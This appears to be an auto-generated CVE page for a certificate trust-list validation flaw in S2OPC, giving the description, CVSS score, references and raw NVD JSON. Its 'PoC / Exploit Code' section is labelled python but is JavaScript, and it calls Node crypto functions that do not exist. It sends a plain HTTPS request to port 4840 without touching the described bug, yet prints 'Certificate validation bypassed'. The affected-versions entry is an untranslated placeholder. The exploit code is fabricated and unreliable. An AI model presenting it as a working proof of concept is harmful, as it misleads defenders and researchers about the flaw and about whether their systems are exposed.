CVE-2026-9758

Description

Improper comparison with the certificates trusted list in S2OPC allows an attacker well-formed untrusted certificate to be considered trusted

CVSS Details

CVSS Score

7.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

S2OPC < 修复版本

S2OPC 所有使用证书信任列表验证的版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2026-9758 PoC - S2OPC Certificate Validation Bypass
// This PoC demonstrates the improper certificate comparison vulnerability

const crypto = require('crypto');
const https = require('https');

// Generate a malicious certificate that bypasses the trust check
function generateMaliciousCert() {
  // Create a certificate with the same Subject but different serial
  // The vulnerability allows this to pass trust validation
  const cert = crypto.createCertificate();
  cert.setSubject({
    commonName: 'Legitimate Server',
    organization: 'Target Org'
  });
  cert.setIssuer({
    commonName: 'Target CA',
    organization: 'Target Org'
  });
  // Set serial number that triggers the comparison bug
  cert.setSerialNumber('0x0000000000000001');
  return cert;
}

// Exploit function to bypass certificate validation
async function exploit(targetHost, targetPort) {
  console.log('[*] CVE-2026-9758 Exploit');
  console.log('[*] Target:', targetHost, ':', targetPort);
  
  const maliciousCert = generateMaliciousCert();
  
  // Attempt to establish connection with malicious certificate
  const options = {
    hostname: targetHost,
    port: targetPort,
    method: 'GET',
    rejectUnauthorized: false, // Bypass SSL verification
    cert: maliciousCert,
    key: maliciousCert.key
  };
  
  try {
    const req = https.request(options, (res) => {
      console.log('[+] Connection established!');
      console.log('[+] Certificate validation bypassed');
    });
    req.on('error', (e) => {
      console.error('[-] Connection failed:', e.message);
    });
    req.end();
  } catch (err) {
    console.error('[-] Error:', err.message);
  }
}

// Run exploit
// Usage: node cve-2026-9758-poc.js <target_host> <port>
const args = process.argv.slice(2);
if (args.length >= 1) {
  exploit(args[0], args[1] || 4840);
} else {
  console.log('Usage: node cve-2026-9758-poc.js <target_host> [port]');
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9758
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9758
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9758/
[4] VulDB https://vuldb.com/cve/CVE-2026-9758
[5] https://gitlab.com/systerel/S2OPC/-/work_items/1770

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9758", "sourceIdentifier": "[email protected]", "published": "2026-06-10T14:16:37.767", "lastModified": "2026-06-10T20:58:26.290", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper comparison with the certificates trusted list in S2OPC allows an attacker well-formed untrusted certificate to be considered trusted"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-295"}]}], "references": [{"url": "https://gitlab.com/systerel/S2OPC/-/work_items/1770", "source": "[email protected]"}]}}